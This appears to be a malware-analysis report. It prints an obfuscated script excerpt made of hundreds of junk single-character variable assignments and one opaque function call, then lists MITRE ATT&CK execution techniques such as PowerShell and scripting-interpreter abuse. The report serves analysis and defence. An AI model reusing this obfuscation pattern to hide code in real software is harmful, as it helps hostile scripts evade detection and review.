298	tbghdowv = "v";
299	tbghdowv = "U";
300	tbghdowv = "i";
301	tbghdowv = "O";
302	tbghdowv = "c";
303	tbghdowv = "p";
304	tbghdowv = "A";
305	tbghdowv = "e";
306	tbghdowv = "h";
307	tbghdowv = "x";
308	tbghdowv = "t";
309	tbghdowv = "A";
310	tbghdowv = "q";
311	tbghdowv = "N";
312	tbghdowv = "X";
313	tbghdowv = "3";
314	swmmx = "Y";
315	swmmx = "Z";
316	swmmx = "r";
317	swmmx = "I";
318	swmmx = "t";
319	swmmx = "b";
320	swmmx = "J";
321	swmmx = "o";
322	swmmx = "d";
323	swmmx = "k";
324	swmmx = "J";
325	swmmx = "m";
326	swmmx = "V";
327	swmmx = "i";
328	vggbjtff = "u";
329	vggbjtff = "i";
330	vggbjtff = "B";
331	vggbjtff = "i";
332	vggbjtff = "T";
333	vggbjtff = "n";
334	vggbjtff = "m";
335	vggbjtff = "h";
336	vggbjtff = "y";
337	vggbjtff = "h";
338	vggbjtff = "W";
339	vggbjtff = "N";
340	vggbjtff = "k";
341	vggbjtff = "h";
342	vggbjtff = "X";
343	vggbjtff = "p";
344	vggbjtff = "B";
345	vggbjtff = "H";
346	vggbjtff = "_";
347	bmhtk = "N";
348	bmhtk = "z";
349	bmhtk = "y";
350	bmhtk = "d";
351	bmhtk = "/";
352	xolteyi = "O";
353	xolteyi = "A";
354	xolteyi = "c";
355	xolteyi = "j";
356	xolteyi = "h";
357	xolteyi = "W";
358	xolteyi = "j";
359	xolteyi = "L";
360	xolteyi = "C";
361	xolteyi = "q";
362	xolteyi = "u";
363	xolteyi = "N";
364	xolteyi = "Q";
365	xolteyi = "5";
366	abfxngr = "w";
367	abfxngr = "Z";
368	abfxngr = "H";
369	abfxngr = "s";
370	abfxngr = "D";
371	abfxngr = "d";
372	abfxngr = "F";
373	abfxngr = "H";
374	abfxngr = "O";
375	abfxngr = "L";
376	abfxngr = "v";
377	abfxngr = "F";
378	abfxngr = "t";
379	abfxngr = "U";
380	abfxngr = "d";
381	abfxngr = "r";
382	abfxngr = "W";
383	abfxngr = "G";
384	abfxngr = "F";
385	abfxngr = "w";
386	abfxngr = "t";
387	abfxngr = "Y";
388	abfxngr = "x";
389	abfxngr = "I";
390	abfxngr = "d";
391	wycniypfy = "L";
392	wycniypfy = "H";
393	wycniypfy = "z";
394	wycniypfy = "e";
395	wycniypfy = "v";
396	wycniypfy = "Z";
397	wycniypfy = "j";
398	wycniypfy = "h";
399	wycniypfy = "C";
400	wycniypfy = "u";
401	wycniypfy = "z";
402	wycniypfy = "Y";
403	wycniypfy = "u";
404	wycniypfy = "X";
405	wycniypfy = "b";
406	wycniypfy = "Z";
407	wycniypfy = "l";
408	wycniypfy = "w";
409	wycniypfy = "W";
410	wycniypfy = "X";
411	wycniypfy = "K";
412	wycniypfy = "Y";
413	wycniypfy = "F";
414	wycniypfy = "Q";
415	wycniypfy = "X";
416	wycniypfy = "l";
417	wycniypfy = "k";
418	wycniypfy = "I";
419	wycniypfy = "h";
420	wycniypfy = "p";
421	wycniypfy = "Q";
422	wycniypfy = "Z";
423	wycniypfy = "@";
424	arnvi = "P";
425	arnvi = "G";
426	arnvi = "R";
427	arnvi = "a";
428	arnvi = "R";
429	arnvi = "w";
430	arnvi = "X";
431	arnvi = "Z";
432	arnvi = "E";
433	arnvi = "C";
434	arnvi = "o";
435	arnvi = "I";
436	arnvi = "G";
437	arnvi = "L";
438	arnvi = "Z";
439	arnvi = "s";
440	arnvi = "t";
441	arnvi = "x";
442	arnvi = "c";
443	arnvi = "G";
444	arnvi = "F";
445	arnvi = "m";
446	arnvi = "i";
447	arnvi = "U";
448	arnvi = "a";
449	arnvi = "F";
450	arnvi = "N";
451	arnvi = "s";
452	arnvi = "H";
453	arnvi = "N";
454	arnvi = " ";
455	lneki = "V";
456	lneki = "V";
457	lneki = "L";
458	lneki = "z";
459	lneki = "H";
460	lneki = "V";
461	lneki = "Q";
462	gurmnpslx = "S";
463	gurmnpslx = "H";
464	gurmnpslx = "V";
465	gurmnpslx = "e";
466	gurmnpslx = "Q";
467	gurmnpslx = "x";
468	gurmnpslx = "N";
469	gurmnpslx = "o";
470	gurmnpslx = "Z";
471	gurmnpslx = "y";
472	gurmnpslx = "H";
473	gurmnpslx = "h";
474	gurmnpslx = "M";
475	gurmnpslx = "j";
476	gurmnpslx = "s";
477	gurmnpslx = "x";
478	gurmnpslx = "M";
479	gurmnpslx = "I";
480	gurmnpslx = "v";
481	gurmnpslx = "e";
482	gurmnpslx = "u";
483	gurmnpslx = "d";
484	gurmnpslx = "M";
485	gurmnpslx = "R";
486	gurmnpslx = "r";
487	gurmnpslx = "p";
488	gurmnpslx = "I";
489	gurmnpslx = "N";
490	gurmnpslx = "l";
491	gurmnpslx = "O";
492	gurmnpslx = "j";
493	gurmnpslx = "Y";
494	gurmnpslx = "f";
495	gurmnpslx = "q";
496	gurmnpslx = "Z";
497	gurmnpslx = "K";
498	gurmnpslx = "l";
499	kyvqlq = "z";
500	kyvqlq = "P";
501	kyvqlq = "4";
502	soscymijl = "T";
503	soscymijl = "x";
504	soscymijl = "J";
505	soscymijl = "H";
506	soscymijl = "v";
507	soscymijl = "U";
508	soscymijl = "q";
509	soscymijl = "T";
510	soscymijl = "H";
511	soscymijl = "m";
512	soscymijl = "h";
513	soscymijl = "P";
514	soscymijl = "p";
515	soscymijl = "V";
516	soscymijl = "j";
517	soscymijl = "y";
518	soscymijl = "E";
519	soscymijl = "k";
520	soscymijl = "o";
521	soscymijl = "Z";
522	soscymijl = "K";
523	soscymijl = "B";
524	soscymijl = "L";
525	soscymijl = "l";
526	soscymijl = "W";
527	soscymijl = "o";
528	soscymijl = "z";
529	soscymijl = "c";
530	soscymijl = "O";
531	soscymijl = "O";
532	soscymijl = "o";
533	soscymijl = "S";
534	soscymijl = "E";
535	soscymijl = "L";
536	soscymijl = "e";
537	soscymijl = "F";
538	soscymijl = "i";
539	soscymijl = "P";
540	egdxablfs = "J";
541	egdxablfs = "h";
542	egdxablfs = "Y";
543	egdxablfs = "Y";
544	egdxablfs = "q";
545	egdxablfs = "Y";
546	egdxablfs = "k";
547	egdxablfs = "K";
548	egdxablfs = "y";
549	egdxablfs = "M";
550	egdxablfs = "m";
551	egdxablfs = "m";
552	egdxablfs = "J";
553	egdxablfs = "P";
554	egdxablfs = "G";
555	egdxablfs = "L";
556	egdxablfs = "z";
557	egdxablfs = "d";
558	egdxablfs = "F";
559	lendw = "H";
560	lendw = "A";
561	lendw = "F";
562	lendw = "p";
563	lendw = "N";
564	lendw = "c";
565	lendw = "B";
566	lendw = "T";
567	lendw = "B";
568	lendw = "h";
569	lendw = "k";
570	lendw = "M";
571	lendw = "M";
572	lendw = "w";
573	lendw = "I";
574	lendw = "G";
575	lendw = "j";
576	lendw = "T";
577	lendw = "B";
578	lendw = "b";
579	lendw = "Z";
580	lendw = "b";
581	lendw = "r";
582	lendw = "i";
583	lendw = "l";
584	lendw = "d";
585	lendw = "h";
586	lendw = "T";
587	lendw = "Q";
588	lendw = "F";
589	lendw = "i";
590	lendw = "t";
591	lendw = "O";
592	lendw = "l";
593	lendw = "Q";
594	lendw = "L";
595	lendw = "k";
596	lendw = "m";
597	lendw = "Y";
598	lendw = "D";
599	lendw = "2";
600	qfwkle = "w";
601	qfwkle = "a";
602	qfwkle = "z";
603	qfwkle = "s";
604	qfwkle = "d";
605	qfwkle = "A";
606	qfwkle = "w";
607	qfwkle = "G";
608	qfwkle = "h";
609	qfwkle = "I";
610	qfwkle = "Q";
611	qfwkle = "P";
612	qfwkle = "z";
613	qfwkle = "g";
614	hodvitmgc = "L";
615	hodvitmgc = "X";
616	hodvitmgc = "D";
617	hodvitmgc = "K";
618	hodvitmgc = "P";
619	hodvitmgc = "P";
620	hodvitmgc = "U";
621	hodvitmgc = "o";
622	hodvitmgc = "s";
623	hodvitmgc = "k";
624	hodvitmgc = "A";
625	hodvitmgc = "Z";
626	hodvitmgc = "b";
627	hodvitmgc = "d";
628	hodvitmgc = "v";
629	hodvitmgc = "g";
630	hodvitmgc = "E";
631	hodvitmgc = "U";
632	hodvitmgc = "s";
633	hodvitmgc = "C";
634	hodvitmgc = "i";
635	hodvitmgc = "s";
636	hodvitmgc = "T";
637	hodvitmgc = "p";
638	hodvitmgc = "a";
639	hodvitmgc = "g";
640	hodvitmgc = "i";
641	hodvitmgc = "V";
642	hodvitmgc = "w";
643	hodvitmgc = "N";
644	hodvitmgc = "z";
645	hodvitmgc = "B";
646	hodvitmgc = "E";
647	hodvitmgc = "N";
648	hodvitmgc = "H";
649	hodvitmgc = "B";
650	hodvitmgc = "h";
651	hodvitmgc = "m";
652	hodvitmgc = "m";
653	kijlxvyr = "m";
654	kijlxvyr = "r";
655	kijlxvyr = "z";
656	kijlxvyr = "D";
657	kijlxvyr = "b";
658	kijlxvyr = "R";
659	kijlxvyr = "z";
660	kijlxvyr = "C";
661	kijlxvyr = "P";
662	kijlxvyr = "J";
663	kijlxvyr = "o";
664	kijlxvyr = "k";
665	kijlxvyr = "Y";
666	kijlxvyr = "H";
667	kijlxvyr = "u";
668	kijlxvyr = "N";
669	kijlxvyr = "z";
670	kijlxvyr = "v";
671	kijlxvyr = "Q";
672	kijlxvyr = "k";
673	kijlxvyr = "I";
674	kijlxvyr = "b";
675	kijlxvyr = "D";
676	kijlxvyr = "H";
677	kijlxvyr = "P";
678	kijlxvyr = "J";
679	kijlxvyr = "t";
680	kijlxvyr = "C";
681	kijlxvyr = "M";
682	kijlxvyr = "P";
683	kijlxvyr = "Z";
684	kijlxvyr = "K";
685	kijlxvyr = "A";
686	kijlxvyr = "v";
687	kijlxvyr = "n";
688	kijlxvyr = "M";
689	kijlxvyr = "Y";
690	kijlxvyr = "U";
691	kijlxvyr = "A";
692	kijlxvyr = "H";
693	kijlxvyr = "Y";
694	kijlxvyr = "q";
695	mxjdrtq = "b";
696	mxjdrtq = "d";
697	mxjdrtq = "c";
698	mxjdrtq = "i";
699	mxjdrtq = "Y";
700	mxjdrtq = "y";
701	mxjdrtq = "Z";
702	mxjdrtq = "x";
703	mxjdrtq = "H";
704	mxjdrtq = "H";
705	mxjdrtq = "B";
706	mxjdrtq = "q";
707	mxjdrtq = "Y";
708	mxjdrtq = "P";
709	mxjdrtq = "p";
710	mxjdrtq = "R";
711	mxjdrtq = "P";
712	mxjdrtq = "K";
713	mxjdrtq = "i";
714	mxjdrtq = "h";
715	mxjdrtq = "n";
716	mxjdrtq = "z";
717	mxjdrtq = "K";
718	mxjdrtq = "F";
719	mxjdrtq = "q";
720	mxjdrtq = "v";
721	mxjdrtq = "b";
722	mxjdrtq = "u";
723	mxjdrtq = "s";
724	mxjdrtq = "L";
725	mxjdrtq = "a";
726	mxjdrtq = "b";
727	mxjdrtq = "D";
728	mxjdrtq = "E";
729	mxjdrtq = "D";
730	mxjdrtq = "y";
731	mxjdrtq = "Y";
732	mxjdrtq = "m";
733	mxjdrtq = "q";
734	mxjdrtq = "Q";
735	mxjdrtq = "K";
736	mxjdrtq = "n";
737	mxjdrtq = "b";
738	mxjdrtq = "L";
739	mxjdrtq = "e";
740	pbvbmjp = "g";
741	pbvbmjp = "g";
742	pbvbmjp = "T";
743	pbvbmjp = "O";
744	pbvbmjp = "I";
745	pbvbmjp = "z";
746	pbvbmjp = "j";
747	pbvbmjp = "g";
748	pbvbmjp = "U";
749	pbvbmjp = "G";
750	pbvbmjp = "r";
751	pbvbmjp = "B";
752	pbvbmjp = "Y";
753	pbvbmjp = "J";
754	pbvbmjp = "A";
755	pbvbmjp = "E";
756	pbvbmjp = "f";
757	pbvbmjp = "L";
758	pbvbmjp = "P";
759	pbvbmjp = "J";
760	pbvbmjp = "u";
761	pbvbmjp = "n";
762	dglboenqf = "P";
763	dglboenqf = "T";
764	dglboenqf = "u";
765	dglboenqf = "V";
766	dglboenqf = "F";
767	dglboenqf = "K";
768	dglboenqf = "S";
769	jbjxtkxd = "R";
770	jbjxtkxd = "b";
771	jbjxtkxd = "d";
772	jbjxtkxd = "l";
773	jbjxtkxd = "t";
774	jbjxtkxd = "v";
775	jbjxtkxd = "b";
776	jbjxtkxd = "F";
777	jbjxtkxd = "y";
778	jbjxtkxd = "q";
779	jbjxtkxd = "i";
780	jbjxtkxd = "e";
781	jbjxtkxd = "M";
782	jbjxtkxd = "t";
783	jbjxtkxd = "d";
784	jbjxtkxd = "O";
785	jbjxtkxd = "v";
786	ohliews = "F";
787	ohliews = "k";
788	ohliews = "s";
789	ohliews = "W";
790	ohliews = "J";
791	ohliews = "G";
792	ohliews = "r";
793	ohliews = "d";
794	ohliews = "w";
795	ohliews = "T";
796	ohliews = "Q";
797	ohliews = "O";
798	ohliews = "n";
799	ohliews = "J";
800	ohliews = "G";
801	ohliews = "e";
802	ohliews = "F";
803	ohliews = "z";
804	ohliews = "D";
805	ohliews = "S";
806	ohliews = "n";
807	ohliews = "Q";
808	ohliews = "j";
809	ohliews = "H";
810	ohliews = "S";
811	ohliews = "o";
812	ohliews = "B";
813	ohliews = "B";
814	ohliews = "o";
815	ohliews = "z";
816	ohliews = "n";
817	ohliews = "p";
818	ohliews = "O";
819	ohliews = "X";
820	ohliews = "x";
821	ohliews = "0";
822	ppnhffoa = "c";
823	ppnhffoa = "f";
824	ppnhffoa = "t";
825	ppnhffoa = "R";
826	ppnhffoa = "S";
827	ppnhffoa = "k";
828	ppnhffoa = "N";
829	ppnhffoa = "b";
830	ppnhffoa = "R";
831	ppnhffoa = "c";
832	cgkwb = "X";
833	cgkwb = "O";
834	cgkwb = "H";
835	cgkwb = "U";
836	cgkwb = "C";
837	cgkwb = "Q";
838	cgkwb = "j";
839	cgkwb = "v";
840	cgkwb = "w";
841	cgkwb = "e";
842	cgkwb = "x";
843	cgkwb = "k";
844	cgkwb = "k";
845	cgkwb = "c";
846	cgkwb = "O";
847	cgkwb = "p";
848	cgkwb = "n";
849	cgkwb = "O";
850	cgkwb = "g";
851	cgkwb = "U";
852	cgkwb = "j";
853	cgkwb = "R";
854	cgkwb = "d";
855	cgkwb = "g";
856	cgkwb = "Z";
857	cgkwb = "D";
858	cgkwb = "m";
859	cgkwb = "B";
860	cgkwb = "p";
861	cgkwb = "L";
862	cgkwb = "f";
863	cgkwb = "u";
864	cgkwb = "M";
865	cgkwb = "g";
866	cgkwb = "a";
867	cgkwb = "M";
868	cgkwb = "G";
869	cgkwb = "s";
870	cgkwb = "g";
871	cgkwb = "o";
872	cgkwb = "x";
873	cgkwb = "N";
874	cgkwb = "V";
875	cgkwb = "s";
876	cgkwb = "R";
877	reqkzqrnp = "o";
878	iyuxox = "U";
879	iyuxox = "w";
880	iyuxox = "s";
881	iyuxox = "o";
882	iyuxox = "z";
883	iyuxox = "d";
884	iyuxox = "i";
885	iyuxox = "L";
886	iyuxox = "z";
887	iyuxox = "R";
888	iyuxox = "a";
889	iyuxox = "q";
890	iyuxox = "D";
891	iyuxox = "g";
892	iyuxox = "j";
893	iyuxox = "Z";
894	iyuxox = "U";
895	iyuxox = "f";
896	iyuxox = "L";
897	iyuxox = "k";
898	iyuxox = "u";
899	iyuxox = "P";
900	iyuxox = "S";
901	iyuxox = "e";
902	iyuxox = "w";
903	iyuxox = "d";
904	iyuxox = "d";
905	iyuxox = "j";
906	iyuxox = "R";
907	iyuxox = "L";
908	iyuxox = "Y";
909	iyuxox = "C";
910	iyuxox = "y";
911	iyuxox = "W";
912	iyuxox = "K";
913	iyuxox = "q";
914	iyuxox = "t";
915	lqgka = "q";
916	lqgka = "G";
917	lqgka = "z";
918	lqgka = "L";
919	lqgka = "O";
920	lqgka = "l";
921	lqgka = "j";
922	lqgka = "N";
923	lqgka = "T";
924	lqgka = "i";
925	lqgka = "d";
926	lqgka = "m";
927	lqgka = "D";
928	lqgka = "v";
929	lqgka = "l";
930	lqgka = "m";
931	lqgka = "t";
932	lqgka = "m";
933	lqgka = "T";
934	lqgka = "w";
935	lqgka = "J";
936	lqgka = "G";
937	lqgka = "R";
938	lqgka = "V";
939	lqgka = "T";
940	lqgka = "p";
941	lqgka = "k";
942	bqrtzofh = "G";
943	bqrtzofh = "h";
944	bqrtzofh = "x";
945	bqrtzofh = "A";
946	bqrtzofh = "o";
947	bqrtzofh = "R";
948	bqrtzofh = "d";
949	bqrtzofh = "R";
950	bqrtzofh = "y";
951	bqrtzofh = "B";
952	bqrtzofh = "g";
953	bqrtzofh = "b";
954	bqrtzofh = "Y";
955	bqrtzofh = "R";
956	bqrtzofh = "p";
957	bqrtzofh = "Z";
958	bqrtzofh = "R";
959	bqrtzofh = "h";
960	bqrtzofh = "J";
961	bqrtzofh = "c";
962	bqrtzofh = "u";
963	bqrtzofh = "f";
964	bqrtzofh = "a";
965	bqrtzofh = "B";
966	bqrtzofh = "p";
967	bqrtzofh = "A";
968	bqrtzofh = "o";
969	bqrtzofh = "x";
970	bqrtzofh = "u";
971	bqrtzofh = "m";
972	bqrtzofh = "Q";
973	bqrtzofh = "A";
974	bqrtzofh = "Q";
975	bqrtzofh = "D";
976	bqrtzofh = "G";
977	bqrtzofh = "%";
978	jerwpnazt = "O";
979	jerwpnazt = "j";
980	jerwpnazt = "T";
981	jerwpnazt = "u";
982	jerwpnazt = "q";
983	jerwpnazt = "p";
984	effvnc = "x";
985	ryehlj = "f";
986	ryehlj = "H";
987	ryehlj = "S";
988	ryehlj = "R";
989	ryehlj = "u";
990	ryehlj = "c";
991	ryehlj = "Z";
992	ryehlj = "m";
993	ryehlj = "z";
994	ryehlj = "W";
995	ryehlj = "Z";
996	ryehlj = "w";
997	ryehlj = "Q";
998	ryehlj = "w";
999	ryehlj = "e";
1000	ryehlj = "M";
1001	ryehlj = "k";
1002	ryehlj = "a";
1003	ryehlj = "b";
1004	ryehlj = "z";
1005	ryehlj = "l";
1006	ryehlj = "Q";
1007	ryehlj = "Y";
1008	ryehlj = "p";
1009	ryehlj = "Z";
1010	ryehlj = "Z";
1011	ryehlj = "J";
1012	ryehlj = "m";
1013	ryehlj = "d";
1014	ryehlj = "U";
1015	ryehlj = "Y";
1016	ryehlj = "J";
1017	ryehlj = "j";
1018	tiwtvetab = "a";
1019	tiwtvetab = "X";
1020	tiwtvetab = "O";
1021	tiwtvetab = "r";
1022	tiwtvetab = "A";
1023	tiwtvetab = "F";
1024	tiwtvetab = "d";
1025	tiwtvetab = "U";
1026	tiwtvetab = "V";
1027	tiwtvetab = "t";
1028	tiwtvetab = "s";
1029	tiwtvetab = "C";
1030	tiwtvetab = "v";
1031	tiwtvetab = "l";
1032	tiwtvetab = "Y";
1033	tiwtvetab = "t";
1034	tiwtvetab = "d";
1035	tiwtvetab = ".";
1036	fxpytcyq = "N";
1037	fxpytcyq = "k";
1038	fxpytcyq = "A";
1039	fxpytcyq = "U";
1040	fxpytcyq = "x";
1041	fxpytcyq = "P";
1042	fxpytcyq = "U";
1043	fxpytcyq = "n";
1044	fxpytcyq = "G";
1045	fxpytcyq = "l";
1046	fxpytcyq = "f";
1047	fxpytcyq = "s";
1048	fxpytcyq = "P";
1049	fxpytcyq = "Z";
1050	fxpytcyq = "H";
1051	fxpytcyq = "o";
1052	fxpytcyq = "p";
1053	fxpytcyq = "Y";
1054	fxpytcyq = "Z";
1055	fxpytcyq = "W";
1056	fxpytcyq = "K";
1057	fxpytcyq = "o";
1058	fxpytcyq = "u";
1059	fxpytcyq = "U";
1060	fxpytcyq = "f";
1061	fxpytcyq = "d";
1062	fxpytcyq = "e";
1063	fxpytcyq = "f";
1064	fxpytcyq = "o";
1065	fxpytcyq = "P";
1066	fxpytcyq = "W";
1067	fxpytcyq = "E";
1068	fxpytcyq = "J";
1069	fxpytcyq = "D";
1070	fxpytcyq = "c";
1071	fxpytcyq = "r";
1072	fxpytcyq = "O";
1073	fxpytcyq = "J";
1074	fxpytcyq = "V";
1075	fxpytcyq = "a";
1076	fxpytcyq = "Y";
1077	fxpytcyq = "T";
1078	fzzcu = "V";
1079	fzzcu = "f";
1080	fzzcu = "v";
1081	fzzcu = "S";
1082	fzzcu = "c";
1083	fzzcu = "v";
1084	fzzcu = "K";
1085	fzzcu = "v";
1086	fzzcu = "A";
1087	fzzcu = "x";
1088	fzzcu = "G";
1089	fzzcu = "H";
1090	fzzcu = "v";
1091	fzzcu = "n";
1092	fzzcu = "o";
1093	fzzcu = "B";
1094	fzzcu = "v";
1095	fzzcu = "d";
1096	fzzcu = "H";
1097	fzzcu = "A";
1098	fzzcu = "i";
1099	fzzcu = "u";
1100	fzzcu = "J";
1101	fzzcu = "n";
1102	fzzcu = "D";
1103	fzzcu = "U";
1104	fzzcu = "Q";
1105	fzzcu = "P";
1106	fzzcu = "l";
1107	fzzcu = "i";
1108	fzzcu = "g";
1109	fzzcu = "Y";
1110	fzzcu = "A";
1111	fzzcu = "l";
1112	fzzcu = "N";
1113	fzzcu = "y";
1114	fzzcu = "j";
1115	fzzcu = "z";
1116	fzzcu = "h";
1117	fzzcu = "s";
1118	fzzcu = "L";
1119	fzzcu = "d";
1120	fzzcu = "C";
1121	ftiabm = "B";
1122	ftiabm = "c";
1123	ftiabm = "H";
1124	ftiabm = "Q";
1125	ftiabm = "W";
1126	ftiabm = "M";
1127	ftiabm = "r";
1128	ftiabm = "U";
1129	ftiabm = "K";
1130	ftiabm = "q";
1131	ftiabm = "N";
1132	ftiabm = "O";
1133	yomnn = "y";
1134	yomnn = "T";
1135	yomnn = "K";
1136	yomnn = "r";
1137	yomnn = "H";
1138	yomnn = "E";
1139	yomnn = "a";
1140	yomnn = "o";
1141	yomnn = "F";
1142	yomnn = "o";
1143	yomnn = "D";
1144	yomnn = "Y";
1145	yomnn = "T";
1146	yomnn = "y";
1147	yomnn = "A";
1148	yomnn = "o";
1149	yomnn = "i";
1150	yomnn = "-";
1151	hvvedkw = "Y";
1152	hvvedkw = "F";
1153	hvvedkw = "W";
1154	hvvedkw = "K";
1155	hvvedkw = "X";
1156	hvvedkw = "O";
1157	hvvedkw = "u";
1158	hvvedkw = "i";
1159	hvvedkw = "g";
1160	hvvedkw = "s";
1161	hvvedkw = "\\";
1162	nbdvkuk = "S";
1163	nbdvkuk = "y";
1164	nbdvkuk = "g";
1165	nbdvkuk = "J";
1166	nbdvkuk = "M";
1167	nbdvkuk = "W";
1168	nbdvkuk = "r";
1169	nbdvkuk = "v";
1170	nbdvkuk = "a";
1171	zljvdl = "f";
1172	zljvdl = "w";
1173	zljvdl = "b";
1174	zljvdl = "e";
1175	zljvdl = "v";
1176	zljvdl = "g";
1177	zljvdl = "M";
1178	zljvdl = "s";
1179	zljvdl = "Z";
1180	zljvdl = "X";
1181	zljvdl = "P";
1182	zljvdl = "O";
1183	zljvdl = "E";
1184	zljvdl = "m";
1185	zljvdl = "d";
1186	zljvdl = "l";
1187	zljvdl = "k";
1188	zljvdl = "a";
1189	zljvdl = "s";
1190	zljvdl = "M";
1191	zljvdl = "V";
1192	zljvdl = "t";
1193	zljvdl = "o";
1194	zljvdl = "d";
1195	zljvdl = "q";
1196	zljvdl = "w";
1197	zljvdl = "m";
1198	zljvdl = "m";
1199	zljvdl = "r";
1200	gtparnwq = "j";
1201	gtparnwq = "Y";
1202	gtparnwq = "t";
1203	gtparnwq = "O";
1204	gtparnwq = "u";
1205	gtparnwq = "L";
1206	gtparnwq = "A";
1207	gtparnwq = "i";
1208	gtparnwq = "I";
1209	gtparnwq = "\"";
1210	zvzaddgat = "v";
1211	zvzaddgat = "f";
1212	zvzaddgat = "E";
1213	emxsnpvyd = "q";
1214	emxsnpvyd = "s";
1215	soieikr = "C";
1216	soieikr = "y";
1217	soieikr = "K";
1218	soieikr = "G";
1219	soieikr = "Z";
1220	soieikr = "l";
1221	soieikr = "o";
1222	soieikr = "A";
1223	soieikr = "S";
1224	soieikr = "M";
1225	soieikr = "n";
1226	soieikr = "M";
1227	soieikr = "r";
1228	soieikr = "m";
1229	soieikr = "g";
1230	soieikr = "r";
1231	soieikr = "K";
1232	soieikr = "u";
1233	soieikr = "A";
1234	soieikr = "s";
1235	soieikr = "Y";
1236	soieikr = "A";
1237	soieikr = "P";
1238	soieikr = "a";
1239	soieikr = "I";
1240	soieikr = "B";
1241	soieikr = "R";
1242	soieikr = "g";
1243	soieikr = "u";
1244	celpapdt = "Z";
1245	celpapdt = "m";
1246	celpapdt = "z";
1247	celpapdt = "t";
1248	celpapdt = "h";
1249	celpapdt = "m";
1250	celpapdt = "H";
1251	celpapdt = "L";
1252	celpapdt = "f";
1253	celpapdt = "s";
1254	celpapdt = "K";
1255	celpapdt = "X";
1256	celpapdt = "T";
1257	celpapdt = "P";
1258	celpapdt = "q";
1259	celpapdt = "F";
1260	celpapdt = "X";
1261	celpapdt = "O";
1262	celpapdt = "g";
1263	celpapdt = "M";
1264	celpapdt = "v";
1265	celpapdt = "T";
1266	celpapdt = "W";
1267	imvfigib = "K";
1268	imvfigib = "p";
1269	imvfigib = "X";
1270	imvfigib = "J";
1271	imvfigib = "Y";
1272	imvfigib = "Q";
1273	imvfigib = "G";
1274	imvfigib = "f";
1275	imvfigib = "j";
1276	imvfigib = "U";
1277	imvfigib = "d";
1278	imvfigib = "m";
1279	imvfigib = "Z";
1280	imvfigib = "c";
1281	imvfigib = "G";
1282	imvfigib = "G";
1283	imvfigib = "G";
1284	imvfigib = "c";
1285	imvfigib = "v";
1286	imvfigib = "t";
1287	imvfigib = "C";
1288	imvfigib = "j";
1289	imvfigib = "k";
1290	imvfigib = "j";
1291	imvfigib = "o";
1292	imvfigib = "H";
1293	jbmpg = "A";
1294	jbmpg = "i";
1295	jbmpg = "S";
1296	jbmpg = "h";
1297	jbmpg = "s";
1298	jbmpg = "o";
1299	jbmpg = "M";
1300	jbmpg = "p";
1301	jbmpg = "T";
1302	jbmpg = "n";
1303	jbmpg = "g";
1304	jbmpg = "A";
1305	jbmpg = "G";
1306	jbmpg = "x";
1307	jbmpg = "E";
1308	jbmpg = "c";
1309	jbmpg = "X";
1310	jbmpg = "F";
1311	jbmpg = "h";
1312	jbmpg = "m";
1313	jbmpg = "B";
1314	jbmpg = "s";
1315	jbmpg = "t";
1316	jbmpg = "U";
1317	jbmpg = "T";
1318	jbmpg = "N";
1319	jbmpg = "a";
1320	jbmpg = "1";
1321	mlwqasqng = "I";
1322	mlwqasqng = "p";
1323	mlwqasqng = "A";
1324	mlwqasqng = "Z";
1325	mlwqasqng = "a";
1326	mlwqasqng = "j";
1327	mlwqasqng = "I";
1328	pnoierb = "W";
1329	pnoierb = "z";
1330	pnoierb = "U";
1331	pnoierb = "W";
1332	pnoierb = "U";
1333	pnoierb = "S";
1334	pnoierb = "P";
1335	pnoierb = "g";
1336	pnoierb = "Q";
1337	pnoierb = "S";
1338	pnoierb = "m";
1339	pnoierb = "K";
1340	pnoierb = "z";
1341	pnoierb = "u";
1342	pnoierb = "s";
1343	pnoierb = "Q";
1344	pnoierb = ":";
1345	fhxomwr = "Z";
1346	fhxomwr = "T";
1347	fhxomwr = "c";
1348	fhxomwr = "m";
1349	fhxomwr = "I";
1350	fhxomwr = "p";
1351	fhxomwr = "m";
1352	fhxomwr = "T";
1353	fhxomwr = "f";
1354	fhxomwr = "u";
1355	fhxomwr = "A";
1356	fhxomwr = "h";
1357	fhxomwr = "f";
1358	fhxomwr = "o";
1359	fhxomwr = "m";
1360	fhxomwr = "R";
1361	fhxomwr = "y";
1362	fhxomwr = "s";
1363	fhxomwr = "b";
1364	fhxomwr = "m";
1365	fhxomwr = "M";
1366	fhxomwr = "F";
1367	fhxomwr = "M";
1368	fhxomwr = "z";
1369	fhxomwr = "L";
1370	sicamfi ( );	sicamfi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
